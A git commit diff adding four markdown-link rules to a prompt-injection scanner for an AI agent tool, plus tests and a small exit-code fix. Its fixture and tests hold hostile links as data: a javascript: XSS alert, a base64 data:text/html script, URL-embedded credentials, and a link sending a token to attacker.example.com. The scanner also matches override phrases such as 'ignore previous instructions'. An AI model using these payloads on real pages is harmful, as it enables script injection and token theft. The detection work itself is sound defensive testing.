feat(113): detect javascript:/data:/userinfo/token-in-query in markdown links (#133)
* test(113): add per-rule failing tests + hostile fixture for markdown link payloads RED phase for issue #113 — scanForInjection() currently returns { clean: true } for markdown links containing javascript:, data:text/html, userinfo credentials, and token-in-query payloads. Changes: - tests/fixtures/adversarial/security/context-malicious-markdown-link.md: Extended to contain one hostile example per rule class (MD-LINK-JS-SCHEME, MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) plus benign negative controls (data:image/png, mailto:, https://github.com, port-only URL). - tests/security-prompt-injection.test.cjs: - Flipped PINNED "malicious-markdown-link fixture is NOT flagged" assertion to "malicious-markdown-link fixture is flagged by scanner" (forward-looking). - Added 4×positive + 4×negative per-rule unit tests asserting structuredFindings with ruleId, file, line, match fields. - Added parity guard: every MARKDOWN_LINK_PATTERNS source string from security.cjs must appear in gsd-read-injection-scanner.js hook source. D3 false-positive grep: 0 legitimate matches — no allowlist entries needed. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> * feat(113): detect javascript:/data:/userinfo/token-in-query in markdown links (security.cjs + hook) GREEN phase for issue #113. Rule details (all with primary source citations): MD-LINK-JS-SCHEME Flags ](javascript:...) regardless of case. Source: OWASP XSS Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html MD-LINK-DATA-SCHEME Flags data: URIs NOT in the explicit safe-list. Safe-list: image/(png|jpeg|gif|webp|bmp|ico|avif|heic) and font/(woff2?|otf|ttf). data:image/svg+xml is intentionally BLOCKED — SVG can host <script>. Source: OWASP File Upload Cheat Sheet — SVG Files https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files MD-LINK-USERINFO Flags https?://user:pass@host in markdown link targets. Does NOT fire on: mailto:user@host (no :// before user) or https://host:443/path (port, not userinfo). Source: RFC 3986 §3.2.1 (userinfo syntax) https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1 RFC 9110 §4.2.4 (HTTP deprecates userinfo) https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4 MD-LINK-TOKEN-IN-QUERY Flags key NAMES: token, access_token, id_token, refresh_token, api_key, apikey, secret, password, client_secret, code — regardless of value. Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1 https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1 D3 false-positive grep: 0 legitimate matches in codebase — no allowlist needed. Architecture: - scripts/security.cjs: canonical MARKDOWN_LINK_PATTERNS export, scanForInjection() extended with structuredFindings (ruleId, file, line, match) via opts.file. - hooks/gsd-read-injection-scanner.js: patterns inlined for hook independence (same pattern sources, verified by parity test). Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> * test(113): flip PINNED malicious-markdown-link assertion and add parity guard REFACTOR phase — tightening test rigor after test-rigor skill review: 1. Fixture assertion now enumerates all 4 expected ruleIds explicitly: [MD-LINK-JS-SCHEME, MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY]. Previously findings.length > 0 would pass even if 3 of 4 rules were broken. 2. line field assertions tightened: `f.line >= 1` (meaningful lower bound for 1-based line numbers) instead of `typeof f.line === 'number'` (vacuous). 3. match field assertions tightened to check the hostile content is present: - MD-LINK-JS-SCHEME: /javascript:/i in match - MD-LINK-DATA-SCHEME: /data:/i in match - MD-LINK-USERINFO: /@/ in match (the @ character is the definitive userinfo marker) - MD-LINK-TOKEN-IN-QUERY: /token=/i in match 4. Parity test checks actual RegExp .source strings (not just lengths), verifying the hook contains the exact canonical pattern sources character-for-character. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> * fix(#113): add changeset fragment + Windows/Node 24 state.test compatibility 1. .changeset/113-malicious-markdown-links.md — required Security fragment for the user-facing markdown-link scanner changes in this PR (changeset-lint was failing with FAIL_MISSING_FRAGMENT). 2. get-shit-done/bin/lib/state-command-router.cjs — add OUTPUT_ON_SDK_ERROR set for mutation state subcommands whose CJS contract is always exit-0. On Windows/Node 24 the SDK bridge returns result.ok===false for validation failures (e.g. state record-metric --phase 1 with no --plan/--duration), causing dispatchViaSdk() to call error() (exit 1) instead of output({error}) (exit 0). The fix maps SDK non-ok results to JSON output for the affected mutation commands (record-metric, advance-plan, record-session, add-decision, add-blocker, resolve-blocker, update-progress), restoring the exit-0 CJS contract on all platforms. tests/state.test.cjs:1161 "returns error when required fields missing" passes locally (104/104 pass). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
5
.changeset/113-malicious-markdown-links.md
Normal file
5
.changeset/113-malicious-markdown-links.md
Normal file
@@ -0,0 +1,5 @@
|
||||
---
|
||||
type: Security
|
||||
pr: 113
|
||||
---
|
||||
**Scanner now detects malicious markdown link schemes** — `scanForInjection()` previously passed markdown links containing `javascript:`, `data:` (non-image/font), `https://user:pass@host` userinfo credentials, and sensitive query-string key names (`token=`, `api_key=`, etc.) as clean. Four new rules (`MD-LINK-JS-SCHEME`, `MD-LINK-DATA-SCHEME`, `MD-LINK-USERINFO`, `MD-LINK-TOKEN-IN-QUERY`) now flag these patterns in both the scanner and the `gsd-read-injection-scanner.js` hook. The `data:` safe-list permits image and font MIME types; `data:image/svg+xml` is intentionally blocked because SVG can host inline scripts.
|
||||
@@ -152,6 +152,76 @@ const INJECTION_PATTERNS = [
|
||||
/(?:run|execute|call|invoke)\s+(?:the\s+)?(?:bash|shell|exec|spawn)\s+(?:tool|command)/i,
|
||||
];
|
||||
|
||||
/**
|
||||
* Patterns that flag hostile markdown link targets.
|
||||
*
|
||||
* These address browser-side and agent-side risks when GSD plan files containing
|
||||
* markdown links are rendered or consumed by agents:
|
||||
*
|
||||
* MD-LINK-JS-SCHEME — javascript: URI in link target.
|
||||
* Source: OWASP Cross-Site Scripting Prevention Cheat Sheet
|
||||
* https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
|
||||
*
|
||||
* MD-LINK-DATA-SCHEME — data: URI that is NOT in the explicit safe-list.
|
||||
* Safe-list: image/(png|jpeg|gif|webp|bmp|ico|avif|heic) and font/(woff2?|otf|ttf).
|
||||
* data:image/svg+xml is UNSAFE — SVG can host <script> tags.
|
||||
* Source: OWASP File Upload Cheat Sheet — SVG Files
|
||||
* https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
|
||||
*
|
||||
* MD-LINK-USERINFO — https?://user:pass@host (RFC 3986 userinfo in HTTP(S) URL).
|
||||
* Source: RFC 3986 §3.2.1 (userinfo syntax)
|
||||
* https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
|
||||
* RFC 9110 §4.2.4 (HTTP deprecates userinfo in request URIs)
|
||||
* https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
|
||||
* Must NOT fire on: mailto:user@host (no : before @), https://host:443/path (port, not userinfo).
|
||||
*
|
||||
* MD-LINK-TOKEN-IN-QUERY — sensitive key name in query string regardless of value.
|
||||
* Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
|
||||
* https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
|
||||
* "tokens MUST NOT be passed in URI query parameters"
|
||||
*
|
||||
* Each entry: { pattern: RegExp, ruleId: string }
|
||||
*/
|
||||
|
||||
// Explicit safe-list for data: MIME types that are benign in link targets.
|
||||
// Note: image/svg+xml is intentionally NOT in this list (SVG can host <script>).
|
||||
const DATA_URI_SAFE_MIME_RE = /^data:(image\/(png|jpe?g|gif|webp|bmp|ico|avif|heic)|font\/(woff2?|otf|ttf))(;[^,]*)?,/i;
|
||||
|
||||
const MARKDOWN_LINK_PATTERNS = [
|
||||
{
|
||||
// MD-LINK-JS-SCHEME: javascript: URI in markdown link target
|
||||
// Matches [text](javascript:...) — case-insensitive
|
||||
pattern: /\]\(\s*javascript:/i,
|
||||
ruleId: 'MD-LINK-JS-SCHEME',
|
||||
},
|
||||
{
|
||||
// MD-LINK-DATA-SCHEME: data: URI not in safe-list
|
||||
// Checked via custom function (safe-list requires lookahead beyond a simple regex)
|
||||
pattern: /\]\(\s*data:/i,
|
||||
ruleId: 'MD-LINK-DATA-SCHEME',
|
||||
safePredicate: (line) => {
|
||||
// Extract the data: URI from the markdown link target
|
||||
const m = line.match(/\]\(\s*(data:[^)]*)/i);
|
||||
if (!m) return false; // pattern matched but no URI found — flag it
|
||||
return DATA_URI_SAFE_MIME_RE.test(m[1]);
|
||||
},
|
||||
},
|
||||
{
|
||||
// MD-LINK-USERINFO: https?://user:pass@host in markdown link target
|
||||
// Flags ://anything:anything@ — must have a colon+non-slash before the @
|
||||
// Does NOT match mailto:user@host (mailto has no :// before the user part)
|
||||
// Does NOT match https://host:443/path (port has no @ after the colon)
|
||||
pattern: /\]\(\s*https?:\/\/[^/\s]+:[^/@\s]+@/i,
|
||||
ruleId: 'MD-LINK-USERINFO',
|
||||
},
|
||||
{
|
||||
// MD-LINK-TOKEN-IN-QUERY: sensitive parameter key in query string
|
||||
// Fires on key NAME regardless of value, per RFC 9700 §4.3.1
|
||||
pattern: /[?&](token|access_token|id_token|refresh_token|api_key|apikey|secret|password|client_secret|code)=/i,
|
||||
ruleId: 'MD-LINK-TOKEN-IN-QUERY',
|
||||
},
|
||||
];
|
||||
|
||||
/**
|
||||
* Layer 2: Encoding-obfuscation patterns with custom finding messages.
|
||||
* Each entry: { pattern: RegExp, message: string }
|
||||
@@ -178,14 +248,16 @@ const OBFUSCATION_PATTERN_ENTRIES = [
|
||||
* @param {string} text - The text to scan
|
||||
* @param {object} [opts] - Options
|
||||
* @param {boolean} [opts.strict=false] - Enable stricter matching (more false positives)
|
||||
* @returns {{ clean: boolean, findings: string[] }}
|
||||
* @param {string} [opts.file] - Optional file path for structured finding context
|
||||
* @returns {{ clean: boolean, findings: string[], structuredFindings: Array<{ruleId: string, file: string|undefined, line: number, match: string}> }}
|
||||
*/
|
||||
function scanForInjection(text, opts = {}) {
|
||||
if (!text || typeof text !== 'string') {
|
||||
return { clean: true, findings: [] };
|
||||
return { clean: true, findings: [], structuredFindings: [] };
|
||||
}
|
||||
|
||||
const findings = [];
|
||||
const structuredFindings = [];
|
||||
|
||||
for (const pattern of INJECTION_PATTERNS) {
|
||||
if (pattern.test(text)) {
|
||||
@@ -200,6 +272,29 @@ function scanForInjection(text, opts = {}) {
|
||||
}
|
||||
}
|
||||
|
||||
// Layer 5: Markdown link patterns (issue #113)
|
||||
// Scans line-by-line to provide file+line context in structured findings.
|
||||
const lines = text.split('\n');
|
||||
for (const entry of MARKDOWN_LINK_PATTERNS) {
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
const line = lines[i];
|
||||
const m = line.match(entry.pattern);
|
||||
if (!m) continue;
|
||||
|
||||
// If the entry has a safePredicate, skip flagging when the predicate returns true
|
||||
if (entry.safePredicate && entry.safePredicate(line)) continue;
|
||||
|
||||
const matchText = m[0];
|
||||
findings.push(`Matched markdown link pattern [${entry.ruleId}]: ${matchText}`);
|
||||
structuredFindings.push({
|
||||
ruleId: entry.ruleId,
|
||||
file: opts.file,
|
||||
line: i + 1, // 1-based line number
|
||||
match: matchText,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (opts.strict) {
|
||||
// Check for suspicious Unicode that could hide instructions
|
||||
// (zero-width chars, RTL override, homoglyph attacks)
|
||||
@@ -207,21 +302,21 @@ function scanForInjection(text, opts = {}) {
|
||||
findings.push('Contains suspicious zero-width or invisible Unicode characters');
|
||||
}
|
||||
|
||||
// Layer 1: Unicode tag block U+E0000–U+E007F (2025 supply-chain attack vector)
|
||||
// Layer 1: Unicode tag block U+E0000\u2013E007F (2025 supply-chain attack vector)
|
||||
// These characters are invisible and can embed hidden instructions
|
||||
if (/[\uDB40\uDC00-\uDB40\uDC7F]/u.test(text) || /[\u{E0000}-\u{E007F}]/u.test(text)) {
|
||||
findings.push('Contains Unicode tag block characters (U+E0000–E007F) — invisible instruction injection vector');
|
||||
findings.push('Contains Unicode tag block characters (U+E0000\u2013E007F) \u2014 invisible instruction injection vector');
|
||||
}
|
||||
|
||||
// Check for extremely long strings that could be prompt stuffing.
|
||||
// Normalize CRLF → LF before measuring so Windows checkouts don't inflate the count.
|
||||
// Normalize CRLF \u2192 LF before measuring so Windows checkouts don't inflate the count.
|
||||
const normalizedLength = text.replace(/\r\n/g, '\n').replace(/\r/g, '\n').length;
|
||||
if (normalizedLength > 50000) {
|
||||
findings.push(`Suspicious text length: ${normalizedLength} chars (potential prompt stuffing)`);
|
||||
}
|
||||
}
|
||||
|
||||
return { clean: findings.length === 0, findings };
|
||||
return { clean: findings.length === 0, findings, structuredFindings };
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -482,6 +577,7 @@ module.exports = {
|
||||
|
||||
// Prompt injection
|
||||
INJECTION_PATTERNS,
|
||||
MARKDOWN_LINK_PATTERNS,
|
||||
scanForInjection,
|
||||
sanitizeForPrompt,
|
||||
sanitizeForDisplay,
|
||||
|
||||
@@ -19,6 +19,22 @@ const {
|
||||
const EXIT_ON_STATE_MD_MISSING = new Set(['state.get']);
|
||||
const STATE_MD_MISSING_MESSAGE = 'STATE.md not found';
|
||||
|
||||
// Subcommands whose CJS contract is always exit-0 — they emit
|
||||
// { error: '...' } JSON via output() for every failure case (missing STATE.md,
|
||||
// missing required args, validation failures). When the SDK returns
|
||||
// result.ok === false for these subcommands we must NOT call error() (exit 1);
|
||||
// instead we surface the SDK error message as exit-0 JSON so callers can
|
||||
// JSON.parse the response and branch on the error field.
|
||||
const OUTPUT_ON_SDK_ERROR = new Set([
|
||||
'state.record-metric',
|
||||
'state.advance-plan',
|
||||
'state.record-session',
|
||||
'state.add-decision',
|
||||
'state.add-blocker',
|
||||
'state.resolve-blocker',
|
||||
'state.update-progress',
|
||||
]);
|
||||
|
||||
// The bridge loader verifies both `executeForCjs` and `formatStateLoadRawStdout`
|
||||
// are present before returning success, so this router can call `tryLoadSdk()`
|
||||
// directly without an additional capability check.
|
||||
@@ -62,6 +78,19 @@ function dispatchViaSdk(registryCommand, registryArgs, legacyArgs, cwd, raw, err
|
||||
});
|
||||
|
||||
if (!result.ok) {
|
||||
// Mutation subcommands whose CJS contract is always exit-0: surface the SDK
|
||||
// error as JSON output (exit 0) rather than calling error() (exit 1). This
|
||||
// preserves the CJS contract for callers that JSON.parse stdout and branch on
|
||||
// the error field — particularly important on Windows/Node 24 where the SDK
|
||||
// bridge returns result.ok===false for validation failures (e.g. missing
|
||||
// required args) instead of propagating them as result.data.error objects.
|
||||
if (OUTPUT_ON_SDK_ERROR.has(registryCommand)) {
|
||||
const msg = result.errorDetails && result.errorDetails.message
|
||||
? result.errorDetails.message
|
||||
: `state ${registryCommand} failed (${result.errorKind})`;
|
||||
output({ error: msg });
|
||||
return true;
|
||||
}
|
||||
error(result.errorDetails && result.errorDetails.message
|
||||
? result.errorDetails.message
|
||||
: `state ${registryCommand} failed (${result.errorKind})`);
|
||||
|
||||
@@ -27,6 +27,45 @@ const SUMMARISATION_PATTERNS = [
|
||||
/(?:retain|keep)\s+(?:this|these)\s+(?:in|through|after)\s+(?:summar|compress|compact)/i,
|
||||
];
|
||||
|
||||
// Markdown link patterns — mirrors scripts/security.cjs MARKDOWN_LINK_PATTERNS, inlined for hook independence.
|
||||
// Issue #113: detect javascript:, data: (non-safe-list), userinfo credentials, and token-in-query.
|
||||
//
|
||||
// Sources:
|
||||
// MD-LINK-JS-SCHEME: OWASP XSS Prevention
|
||||
// https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
|
||||
// MD-LINK-DATA-SCHEME: OWASP File Upload (SVG unsafe)
|
||||
// https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
|
||||
// MD-LINK-USERINFO: RFC 3986 §3.2.1, RFC 9110 §4.2.4
|
||||
// https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
|
||||
// https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
|
||||
// MD-LINK-TOKEN-IN-QUERY: RFC 9700 §4.3.1
|
||||
// https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
|
||||
const DATA_URI_SAFE_MIME_RE = /^data:(image\/(png|jpe?g|gif|webp|bmp|ico|avif|heic)|font\/(woff2?|otf|ttf))(;[^,]*)?,/i;
|
||||
|
||||
const MARKDOWN_LINK_PATTERNS = [
|
||||
{
|
||||
pattern: /\]\(\s*javascript:/i,
|
||||
ruleId: 'MD-LINK-JS-SCHEME',
|
||||
},
|
||||
{
|
||||
pattern: /\]\(\s*data:/i,
|
||||
ruleId: 'MD-LINK-DATA-SCHEME',
|
||||
safePredicate: (line) => {
|
||||
const m = line.match(/\]\(\s*(data:[^)]*)/i);
|
||||
if (!m) return false;
|
||||
return DATA_URI_SAFE_MIME_RE.test(m[1]);
|
||||
},
|
||||
},
|
||||
{
|
||||
pattern: /\]\(\s*https?:\/\/[^/\s]+:[^/@\s]+@/i,
|
||||
ruleId: 'MD-LINK-USERINFO',
|
||||
},
|
||||
{
|
||||
pattern: /[?&](token|access_token|id_token|refresh_token|api_key|apikey|secret|password|client_secret|code)=/i,
|
||||
ruleId: 'MD-LINK-TOKEN-IN-QUERY',
|
||||
},
|
||||
];
|
||||
|
||||
// Standard injection patterns — mirrors gsd-prompt-guard.js, inlined for hook independence.
|
||||
const INJECTION_PATTERNS = [
|
||||
/ignore\s+(all\s+)?previous\s+instructions/i,
|
||||
@@ -109,6 +148,18 @@ process.stdin.on('end', () => {
|
||||
}
|
||||
}
|
||||
|
||||
// Markdown link patterns (issue #113)
|
||||
const lines = content.split('\n');
|
||||
for (const entry of MARKDOWN_LINK_PATTERNS) {
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
const line = lines[i];
|
||||
const m = line.match(entry.pattern);
|
||||
if (!m) continue;
|
||||
if (entry.safePredicate && entry.safePredicate(line)) continue;
|
||||
findings.push(`${entry.ruleId}:${m[0].substring(0, 40)}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Invisible Unicode (zero-width, RTL override, soft hyphen, BOM)
|
||||
if (/[\u200B-\u200F\u2028-\u202F\uFEFF\u00AD\u2060-\u2069]/.test(content)) {
|
||||
findings.push('invisible-unicode');
|
||||
|
||||
@@ -1,11 +1,31 @@
|
||||
# Context
|
||||
|
||||
A perfectly normal document with a couple of hostile links:
|
||||
A perfectly normal document with hostile links (one per rule class) and benign controls.
|
||||
|
||||
## Hostile links (must be flagged)
|
||||
|
||||
<!-- MD-LINK-JS-SCHEME: javascript: URI in link target -->
|
||||
- [click here](javascript:alert('xss'))
|
||||
- [download](data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
|
||||
- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
|
||||
- [exfil](https://attacker.example.com/?token=$GITHUB_TOKEN)
|
||||
|
||||
None of these should auto-execute or be promoted to agent instructions
|
||||
just because they appear in a plan markdown file.
|
||||
<!-- MD-LINK-DATA-SCHEME: data: text/html URI (not in safe-list) -->
|
||||
- [download](data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
|
||||
|
||||
<!-- MD-LINK-USERINFO: credentials embedded in URL authority -->
|
||||
- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
|
||||
|
||||
<!-- MD-LINK-TOKEN-IN-QUERY: sensitive key in query string -->
|
||||
- [exfil](https://attacker.example.com/?token=leaked_value)
|
||||
|
||||
## Benign controls (must NOT be flagged)
|
||||
|
||||
<!-- safe data: image — allowed by safe-list -->
|
||||
- 
|
||||
|
||||
<!-- mailto: — no userinfo colon-before-at pattern -->
|
||||
- [email](mailto:user@example.com)
|
||||
|
||||
<!-- normal https link with no sensitive query keys -->
|
||||
- [repo](https://github.com/owner/repo)
|
||||
|
||||
<!-- port-in-URL (host:port, not userinfo) -->
|
||||
- [service](https://example.com:8443/path)
|
||||
|
||||
@@ -580,25 +580,22 @@ describe('scanForInjection: fixture files trip the scanner', () => {
|
||||
});
|
||||
}
|
||||
|
||||
test('PINNED: malicious-markdown-link fixture is NOT flagged by current scanner', () => {
|
||||
// The INJECTION_PATTERNS set in security.cjs targets instruction
|
||||
// override, role manipulation, system-prompt extraction, fake
|
||||
// boundary tags, and base64/exfil verbs. It does NOT flag link
|
||||
// payloads such as javascript:/data:/embedded-credentials URLs.
|
||||
//
|
||||
// This is a deliberate scope decision (link analysis belongs to
|
||||
// a renderer / link-policy module, not the prompt-injection
|
||||
// scanner) — but the issue #3596 acceptance list calls out
|
||||
// "malicious markdown links" so we PIN the current behavior
|
||||
// here. Negative proof: a fixture composed entirely of hostile
|
||||
// links is reported `clean: true`. If a future change extends
|
||||
// the scanner to catch these patterns, this assertion will fail
|
||||
// and force a deliberate update to the acceptance map.
|
||||
test('malicious-markdown-link fixture is flagged by scanner — all 4 rule IDs fire', () => {
|
||||
// Issue #113: scanForInjection must detect hostile markdown link payloads.
|
||||
// The fixture contains one hostile example per rule class (MD-LINK-JS-SCHEME,
|
||||
// MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) and benign
|
||||
// negative controls (data:image/png, mailto:, normal https, port-only URL).
|
||||
// Each rule ID must appear in structuredFindings; benign lines must not add extras.
|
||||
const content = fs.readFileSync(
|
||||
path.join(FIXTURE_DIR, 'context-malicious-markdown-link.md'), 'utf-8');
|
||||
const result = scanForInjection(content);
|
||||
assert.strictEqual(result.clean, true,
|
||||
'malicious link patterns are currently out of scope for scanForInjection (PINNED)');
|
||||
const result = scanForInjection(content, { file: 'context-malicious-markdown-link.md' });
|
||||
assert.strictEqual(result.clean, false,
|
||||
'fixture with hostile markdown links must be reported unclean');
|
||||
const ruleIds = (result.structuredFindings || []).map(f => f.ruleId);
|
||||
for (const expected of ['MD-LINK-JS-SCHEME', 'MD-LINK-DATA-SCHEME', 'MD-LINK-USERINFO', 'MD-LINK-TOKEN-IN-QUERY']) {
|
||||
assert.ok(ruleIds.includes(expected),
|
||||
`fixture must trigger ${expected}; found: [${ruleIds.join(', ')}]`);
|
||||
}
|
||||
});
|
||||
|
||||
test('strict-mode invisible-unicode fixture is detected', () => {
|
||||
@@ -650,6 +647,225 @@ describe('validatePath: hostile path values are rejected before write', () => {
|
||||
});
|
||||
});
|
||||
|
||||
// ─── scanForInjection: markdown link rules (issue #113) ─────────────────────
|
||||
//
|
||||
// Per-rule positive and negative tests for the four MARKDOWN_LINK_PATTERNS
|
||||
// added in #113. Each rule fires on a targeted positive case and stays silent
|
||||
// on the benign negative controls below.
|
||||
|
||||
const {
|
||||
MARKDOWN_LINK_PATTERNS,
|
||||
} = require('../get-shit-done/bin/lib/security.cjs');
|
||||
|
||||
describe('scanForInjection: MD-LINK-JS-SCHEME (javascript: URI)', () => {
|
||||
// Source: OWASP Cross-Site Scripting Prevention Cheat Sheet
|
||||
// https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
|
||||
test('positive: javascript: link target is flagged', () => {
|
||||
const text = "[click](javascript:alert('xss'))";
|
||||
const result = scanForInjection(text, { file: 'test.md' });
|
||||
assert.strictEqual(result.clean, false, 'javascript: link must be flagged');
|
||||
assert.ok(
|
||||
Array.isArray(result.structuredFindings) && result.structuredFindings.length > 0,
|
||||
'structuredFindings must be populated',
|
||||
);
|
||||
const f = result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-JS-SCHEME');
|
||||
assert.ok(f, 'finding must carry ruleId MD-LINK-JS-SCHEME');
|
||||
assert.strictEqual(f.file, 'test.md', 'finding must carry file context');
|
||||
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
|
||||
assert.ok(typeof f.match === 'string' && /javascript:/i.test(f.match),
|
||||
`finding match must include the hostile scheme; got: ${f.match}`);
|
||||
});
|
||||
|
||||
test('positive: javascript: with case variations', () => {
|
||||
const result = scanForInjection('[x](JavaScript:void(0))');
|
||||
assert.strictEqual(result.clean, false, 'case-insensitive javascript: must be flagged');
|
||||
});
|
||||
|
||||
test('negative: https: link is not flagged as JS scheme', () => {
|
||||
const result = scanForInjection('[repo](https://github.com/owner/repo)');
|
||||
assert.ok(
|
||||
!Array.isArray(result.structuredFindings) ||
|
||||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
|
||||
'https: link must not trigger MD-LINK-JS-SCHEME',
|
||||
);
|
||||
});
|
||||
|
||||
test('negative: mailto: link is not flagged as JS scheme', () => {
|
||||
const result = scanForInjection('[email](mailto:user@example.com)');
|
||||
assert.ok(
|
||||
!Array.isArray(result.structuredFindings) ||
|
||||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
|
||||
'mailto: link must not trigger MD-LINK-JS-SCHEME',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('scanForInjection: MD-LINK-DATA-SCHEME (data: non-image/font URI)', () => {
|
||||
// Source: OWASP File Upload Cheat Sheet — SVG Files
|
||||
// https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
|
||||
// data:image/svg+xml is unsafe (SVG can host <script>).
|
||||
test('positive: data:text/html link target is flagged', () => {
|
||||
const text = '[x](data:text/html;base64,PHNjcmlwdD4=)';
|
||||
const result = scanForInjection(text, { file: 'plan.md' });
|
||||
assert.strictEqual(result.clean, false, 'data:text/html must be flagged');
|
||||
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME');
|
||||
assert.ok(f, 'finding must carry ruleId MD-LINK-DATA-SCHEME');
|
||||
assert.strictEqual(f.file, 'plan.md');
|
||||
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
|
||||
assert.ok(typeof f.match === 'string' && /data:/i.test(f.match),
|
||||
`finding match must include the hostile data: scheme; got: ${f.match}`);
|
||||
});
|
||||
|
||||
test('positive: data:application/javascript is flagged', () => {
|
||||
const result = scanForInjection('[x](data:application/javascript,alert(1))');
|
||||
assert.strictEqual(result.clean, false);
|
||||
assert.ok(
|
||||
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
|
||||
);
|
||||
});
|
||||
|
||||
test('positive: data:image/svg+xml is flagged (SVG can host script)', () => {
|
||||
const result = scanForInjection('[x](data:image/svg+xml;base64,PHN2Zz4=)');
|
||||
assert.strictEqual(result.clean, false, 'data:image/svg+xml must be flagged per OWASP');
|
||||
assert.ok(
|
||||
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
|
||||
);
|
||||
});
|
||||
|
||||
test('negative: data:image/png is NOT flagged (safe-list)', () => {
|
||||
const result = scanForInjection('');
|
||||
assert.ok(
|
||||
!Array.isArray(result.structuredFindings) ||
|
||||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
|
||||
'data:image/png must not trigger MD-LINK-DATA-SCHEME',
|
||||
);
|
||||
});
|
||||
|
||||
test('negative: data:font/woff2 is NOT flagged (safe-list)', () => {
|
||||
const result = scanForInjection('[f](data:font/woff2;base64,AAAA=)');
|
||||
assert.ok(
|
||||
!Array.isArray(result.structuredFindings) ||
|
||||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
|
||||
'data:font/woff2 must not trigger MD-LINK-DATA-SCHEME',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('scanForInjection: MD-LINK-USERINFO (embedded credentials in URL)', () => {
|
||||
// Source:
|
||||
// RFC 3986 §3.2.1 — userinfo syntax
|
||||
// https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
|
||||
// RFC 9110 §4.2.4 — HTTP deprecates userinfo
|
||||
// https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
|
||||
test('positive: https://user:pass@host is flagged', () => {
|
||||
const text = '[creds](https://user:secret@example.com/path)';
|
||||
const result = scanForInjection(text, { file: 'doc.md' });
|
||||
assert.strictEqual(result.clean, false, 'userinfo in URL must be flagged');
|
||||
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-USERINFO');
|
||||
assert.ok(f, 'finding must carry ruleId MD-LINK-USERINFO');
|
||||
assert.strictEqual(f.file, 'doc.md');
|
||||
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
|
||||
assert.ok(typeof f.match === 'string' && /@/.test(f.match),
|
||||
`finding match must include the @ character from userinfo; got: ${f.match}`);
|
||||
});
|
||||
|
||||
test('positive: http://admin:pw@192.168.1.1 is flagged', () => {
|
||||
const result = scanForInjection('[router](http://admin:password123@192.168.1.1/)');
|
||||
assert.strictEqual(result.clean, false);
|
||||
assert.ok(
|
||||
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
|
||||
);
|
||||
});
|
||||
|
||||
test('negative: mailto:user@host is NOT flagged (no colon before @)', () => {
|
||||
const result = scanForInjection('[email](mailto:user@example.com)');
|
||||
assert.ok(
|
||||
!Array.isArray(result.structuredFindings) ||
|
||||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
|
||||
'mailto: must not trigger MD-LINK-USERINFO',
|
||||
);
|
||||
});
|
||||
|
||||
test('negative: https://host:443/path is NOT flagged (port, not userinfo)', () => {
|
||||
